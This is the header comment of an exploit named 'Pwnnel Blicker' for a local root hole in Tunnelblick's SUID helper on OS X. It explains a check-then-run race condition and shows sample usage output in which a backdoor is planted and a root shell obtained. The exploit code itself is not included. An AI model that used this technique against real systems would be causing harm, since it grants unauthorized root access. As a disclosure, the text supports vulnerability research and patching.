* ========================
*
* Tunnel Blick, a widely used OpenVPN manager for OSX
* comes with a nice SUID executable that has more holes
* than you care to count. It's a treasure chest of local
* roots. I picked one that looked interesting, and here
* we have Pwnnel Blicker.
*
* Tunnel Blick will run any executable that has 744
* permissions and is owned by root:root. Probably we
* could find a way to exploit an already existing 744
* executable, but this would be too easy. So instead, we
* take advantage of a race condition between checking the
* file permissions on the executable and actually running
* it.
*
* Usage:
* $ ./a.out
* [+] Creating vulnerable directory.
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
* [+] Writing pid and executing vulnerable program.
* [+] Running toggler.
* [+] Making backdoor.
* [+] Cleaning up.
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
* [+] Complete. Run this again to get root.
* Killed: 9
*
* $ ./a.out
* [+] Getting root.
* # whoami
